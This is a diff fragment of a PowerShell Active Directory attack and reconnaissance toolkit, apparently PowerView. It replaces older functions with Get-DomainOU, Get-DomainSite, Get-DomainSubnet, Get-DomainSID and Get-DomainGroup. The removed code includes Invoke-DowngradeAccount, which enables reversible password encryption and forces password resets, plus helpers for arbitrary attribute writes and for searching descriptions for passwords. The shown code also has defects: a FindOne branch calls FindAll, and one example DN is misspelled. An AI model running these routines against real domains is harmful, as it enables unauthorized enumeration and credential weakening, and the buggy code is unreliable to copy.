$Credential } + $OUSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($OUSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '^OU=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" } - else { - Write-Warning "Error resolving SID '$SID'" - return $Null + catch { + $IdentityFilter += "(name=$IdentityInstance)" } } } - catch { - Write-Warning "Error resolving SID '$SID' : $_" - return $Null + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" } - } - - $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - if($ObjectSearcher) { - if($SID) { - $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" } - elseif($Name) { - $ObjectSearcher.filter = "(&(name=$Name)$Filter)" - } - elseif($SamAccountName) { - $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } - $Results = $ObjectSearcher.FindAll() + $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" + Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } + else { $Results = $OUSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { - if($ReturnRaw) { - $_ + if ($PSBoundParameters['Raw']) { + # return raw result objects + $OU = $_ } else { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + $OU = Convert-LDAPProperty -Properties $_.Properties } + $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') + $OU } - $Results.dispose() - $ObjectSearcher.dispose() + try { $Results.dispose() } catch {} + $OUSearcher.dispose() } } } -function Set-ADObject { +function Get-DomainSite { <# - .SYNOPSIS +.SYNOPSIS + +Search for all sites or specific site objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properies, use +"-Properties whencreated,usnchanged,...". By default, all site objects for +the current domain are returned. + +.PARAMETER Identity + +An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER GPLink + +Only return sites with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server - Takes a SID, name, or SamAccountName to query for a specified - domain object, and then sets a specified 'PropertyName' to a - specified 'PropertyValue'. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER SID +.PARAMETER SearchScope - The SID of the domain object you're querying for. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER Name +.PARAMETER ResultPageSize - The Name of the domain object you're querying for. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER SamAccountName +.PARAMETER ServerTimeLimit - The SamAccountName of the domain object you're querying for. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER Domain +.PARAMETER SecurityMasks - The domain to query for objects, defaults to the current domain. +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - .PARAMETER DomainController +.PARAMETER Tombstone - Domain controller to reflect LDAP queries through. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER Filter +.PARAMETER FindOne - Additional LDAP filter string for the query. +Only return one result object. - .PARAMETER PropertyName +.PARAMETER Credential - The property name to set. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER PropertyValue +.PARAMETER Raw - The value to set for PropertyName +Switch. Return raw results instead of translating the fields into a custom PSObject. - .PARAMETER PropertyXorValue +.EXAMPLE - Integer value to binary xor (-bxor) with the current int value. +Get-DomainSite - .PARAMETER ClearValue +Returns the current sites in the domain. - Switch. Clear the value of PropertyName +.EXAMPLE - .PARAMETER PageSize +Get-DomainSite *admin* -Domain testlab.local - The PageSize to set for the LDAP searcher object. +Returns all sites with "admin" in their name in the testlab.local domain. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" - .EXAMPLE +Returns all sites with linked to the specified group policy object. - PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 - - Set the countrycode for matt.admin to 0 +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred - PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536 - - Set the password not to expire on matt.admin +.OUTPUTS + +PowerView.Site + +Custom PSObject with translated site property fields. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Site')] [CmdletBinding()] Param ( - [String] - $SID, + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + [ValidateNotNullOrEmpty()] [String] - $Name, + [Alias('GUID')] + $GPLink, + [ValidateNotNullOrEmpty()] [String] - $SamAccountName, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $Domain, + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Filter, + $Server, - [Parameter(Mandatory = $True)] + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $PropertyName, + $SearchScope = 'Subtree', - $PropertyValue, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + [ValidateRange(1, 10000)] [Int] - $PropertyXorValue, + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, [Switch] - $ClearValue, + $Tombstone, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - $Arguments = @{ - 'SID' = $SID - 'Name' = $Name - 'SamAccountName' = $SamAccountName - 'Domain' = $Domain - 'DomainController' = $DomainController - 'Filter' = $Filter - 'PageSize' = $PageSize - 'Credential' = $Credential - } - # splat the appropriate arguments to Get-ADObject - $RawObject = Get-ADObject -ReturnRaw @Arguments - - try { - # get the modifiable object for this search result - $Entry = $RawObject.GetDirectoryEntry() - - if($ClearValue) { - Write-Verbose "Clearing value" - $Entry.$PropertyName.clear() - $Entry.commitchanges() - } + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SiteSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SiteSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - elseif($PropertyXorValue) { - $TypeName = $Entry.$PropertyName[0].GetType().name + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } - # UAC value references- https://support.microsoft.com/en-us/kb/305144 - $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue - $Entry.$PropertyName = $PropertyValue -as $TypeName - $Entry.commitchanges() - } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - else { - $Entry.put($PropertyName, $PropertyValue) - $Entry.setinfo() + $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" + Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } + else { $Results = $SiteSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Site = $_ + } + else { + $Site = Convert-LDAPProperty -Properties $_.Properties + } + $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') + $Site + } + try { $Results.dispose() } catch {} + $SiteSearcher.dispose() } } - catch { - Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_" - } } -function Invoke-DowngradeAccount { +function Get-DomainSubnet { <# - .SYNOPSIS +.SYNOPSIS - Set reversible encryption on a given account and then force the password - to be set on next user login. To repair use "-Repair". +Search for all subnets or specific subnets objects in AD. - .PARAMETER SamAccountName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty - The SamAccountName of the domain object you're querying for. +.DESCRIPTION - .PARAMETER Name +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properies, use +"-Properties whencreated,usnchanged,...". By default, all subnet objects for +the current domain are returned. - The Name of the domain object you're querying for. +.PARAMETER Identity - .PARAMETER Domain +An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. - The domain to query for objects, defaults to the current domain. +.PARAMETER SiteName - .PARAMETER DomainController +Only return subnets from the specified SiteName. - Domain controller to reflect LDAP queries through. +.PARAMETER Domain - .PARAMETER Filter +Specifies the domain to use for the query, defaults to the current domain. - Additional LDAP filter string for the query. +.PARAMETER LDAPFilter - .PARAMETER Repair +Specifies an LDAP query string that is used to filter Active Directory objects. - Switch. Unset the reversible encryption flag and force password reset flag. +.PARAMETER Properties - .PARAMETER Credential +Specifies the properties of the output object to retrieve from the server. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER SearchBase - .EXAMPLE +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - PS> Invoke-DowngradeAccount -SamAccountName jason +.PARAMETER Server - Set reversible encryption on the 'jason' account and force the password to be changed. +Specifies an Active Directory server (domain controller) to bind to. - .EXAMPLE +.PARAMETER SearchScope - PS> Invoke-DowngradeAccount -SamAccountName jason -Repair +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - Unset reversible encryption on the 'jason' account and remove the forced password change. -#> +.PARAMETER ResultPageSize - [CmdletBinding()] - Param ( - [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)] - [String] - $SamAccountName, +Specifies the PageSize to set for the LDAP searcher object. - [Parameter(ParameterSetName = 'Name')] - [String] - $Name, +.PARAMETER ServerTimeLimit - [String] - $Domain, +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - [String] - $DomainController, +.PARAMETER SecurityMasks - [String] - $Filter, +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - [Switch] - $Repair, +.PARAMETER Tombstone - [Management.Automation.PSCredential] - $Credential - ) +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - process { - $Arguments = @{ - 'SamAccountName' = $SamAccountName - 'Name' = $Name - 'Domain' = $Domain - 'DomainController' = $DomainController - 'Filter' = $Filter - 'Credential' = $Credential - } +.PARAMETER FindOne - # splat the appropriate arguments to Get-ADObject - $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue +Only return one result object. - if($Repair) { +.PARAMETER Credential - if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") { - # if reversible encryption is set, unset it - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 - } +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - # unset the forced password change - Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1 - } +.PARAMETER Raw - else { +Switch. Return raw results instead of translating the fields into a custom PSObject. - if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") { - # if the password is set to never expire, unset - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536 - } +.EXAMPLE - if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") { - # if reversible encryption is not set, set it - Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 - } +Get-DomainSubnet - # force the password to be changed on next login - Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0 - } - } -} +Returns the current subnets in the domain. +.EXAMPLE -function Get-ComputerProperty { -<# - .SYNOPSIS +Get-DomainSubnet *admin* -Domain testlab.local - Returns a list of all computer object properties. If a property - name is specified, it returns all [computer:property] values. +Returns all subnets with "admin" in their name in the testlab.local domain. - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +.EXAMPLE - .PARAMETER Properties +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" - Return property names for computers. +Returns all subnets with linked to the specified group policy object. - .PARAMETER Domain +.EXAMPLE - The domain to query for computer properties, defaults to the current domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred - .PARAMETER DomainController +.OUTPUTS - Domain controller to reflect LDAP queries through. +PowerView.Subnet - .PARAMETER PageSize +Custom PSObject with translated subnet property fields. +#> - The PageSize to set for the LDAP searcher object. + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Subnet')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, - .PARAMETER Credential + [ValidateNotNullOrEmpty()] + [String] + $SiteName, - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + [ValidateNotNullOrEmpty()] + [String] + $Domain, - .EXAMPLE + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, - PS C:\> Get-ComputerProperty -Domain testing - - Returns all user properties for computers in the 'testing' domain. + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, - .EXAMPLE + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, - PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location - - Returns all an array of computer/ssn/lastlogin/location combinations - for computers in the current domain. + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - .LINK + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html -#> + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [CmdletBinding()] - param( - [String[]] - $Properties, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] - $Domain, + $SecurityMasks, - [String] - $DomainController, + [Switch] + $Tombstone, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - if($Properties) { - # extract out the set of all properties for each object - $Properties = ,"name" + $Properties | Sort-Object -Unique - Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SubnetSearcher = Get-DomainSearcher @SearcherArguments } - else { - # extract out just the property names - Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + + PROCESS { + if ($SubnetSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" + Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } + else { $Results = $SubnetSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Subnet = $_ + } + else { + $Subnet = Convert-LDAPProperty -Properties $_.Properties + } + $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') + + if ($PSBoundParameters['SiteName']) { + # have to do the filtering after the LDAP query as LDAP doesn't let you specify + # wildcards for 'siteobject' :( + if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { + $Subnet + } + elseif ($Subnet.siteobject -like "*$SiteName*") { + $Subnet + } + } + else { + $Subnet + } + } + try { $Results.dispose() } catch {} + $SubnetSearcher.dispose() + } } } -function Find-ComputerField { +function Get-DomainSID { <# - .SYNOPSIS +.SYNOPSIS - Searches computer object fields for a given word (default *pass*). Default - field being searched is 'description'. +Returns the SID for the current domain or the specified domain. - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer - .PARAMETER SearchTerm +.DESCRIPTION - Term to search for, default of "pass". +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. The SID of the returned domain controller +is then extracted. - .PARAMETER SearchField +.PARAMETER Domain - User field to search in, default of "description". +Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER ADSpath +.PARAMETER Server - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER Domain +.PARAMETER Credential - Domain to search computer fields for, defaults to the current domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER DomainController +.EXAMPLE - Domain controller to reflect LDAP queries through. +Get-DomainSID - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Get-DomainSID -Domain testlab.local - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred - .EXAMPLE +.OUTPUTS - PS C:\> Find-ComputerField -SearchTerm backup -SearchField info +String - Find computer accounts with "backup" in the "info" field. +A string representing the specified domain SID. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Term')] - [String] - $SearchTerm = 'pass', - - [Alias('Field')] - [String] - $SearchField = 'description', - - [String] - $ADSpath, - + Param( + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + $Server, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - process { - Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + $SearcherArguments = @{ + 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' } -} - + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } -function Get-NetOU { -<# - .SYNOPSIS + $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid - Gets a list of all current OUs in a domain. + if ($DCSID) { + $DCSID.SubString(0, $DCSID.LastIndexOf('-')) + } + else { + Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" + } +} - .PARAMETER OUName - The OU name to query for, wildcards accepted. +function Get-DomainGroup { +<# +.SYNOPSIS - .PARAMETER GUID +Return all groups or specific group objects in AD. - Only return OUs with the specified GUID in their gplink property. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty - .PARAMETER Domain +.DESCRIPTION - The domain to query for OUs, defaults to the current domain. +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properies, use +"-Properties samaccountname,usnchanged,...". By default, all group objects for +the current domain are returned. To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. - .PARAMETER DomainController +.PARAMETER Identity - Domain controller to reflect LDAP queries through. +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. - .PARAMETER ADSpath +.PARAMETER MemberIdentity - The LDAP source to search through. +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. - .PARAMETER FullData +.PARAMETER AdminCount - Switch. Return full OU objects instead of just object names (the default). +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). - .PARAMETER PageSize +.PARAMETER Domain - The PageSize to set for the LDAP searcher object. +Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER Credential +.PARAMETER LDAPFilter - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Specifies an LDAP query string that is used to filter Active Directory objects. - .EXAMPLE +.PARAMETER Properties - PS C:\> Get-NetOU - - Returns the current OUs in the domain. +Specifies the properties of the output object to retrieve from the server. - .EXAMPLE +.PARAMETER SearchBase - PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local - - Returns all OUs with "admin" in their name in the testlab.local domain. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .EXAMPLE +.PARAMETER Server - PS C:\> Get-NetOU -GUID 123-... - - Returns all OUs with linked to the specified group policy object. +Specifies an Active Directory server (domain controller) to bind to. - .EXAMPLE +.PARAMETER SearchScope - PS C:\> "*admin*","*server*" | Get-NetOU +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - Get the full OU names for the given search terms piped on the pipeline. -#> +.PARAMETER ResultPageSize - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $OUName = '*', +Specifies the PageSize to set for the LDAP searcher object. - [String] - $GUID, +.PARAMETER ServerTimeLimit - [String] - $Domain, +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - [String] - $DomainController, +.PARAMETER SecurityMasks - [String] - $ADSpath, +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - [Switch] - $FullData, +.PARAMETER Tombstone - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - [Management.Automation.PSCredential] - $Credential - ) +.PARAMETER FindOne - begin { - $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - process { - if ($OUSearcher) { - if ($GUID) { - # if we're filtering for a GUID in .gplink - $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" - } - else { - $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" - } +Only return one result object. - try { - $Results = $OUSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - $OU = Convert-LDAPProperty -Properties $_.Properties - $OU.PSObject.TypeNames.Add('PowerView.OU') - $OU - } - else { - # otherwise just returning the ADS paths of the OUs - $_.properties.adspath - } - } - $Results.dispose() - $OUSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } -} +.PARAMETER Credential +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. -function Get-NetSite { -<# - .SYNOPSIS +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGroup | select samaccountname - Gets a list of all current sites in a domain. +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... - .PARAMETER SiteName +.EXAMPLE - Site filter string, wildcards accepted. +Get-DomainGroup *admin* | select distinguishedname - .PARAMETER Domain +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema 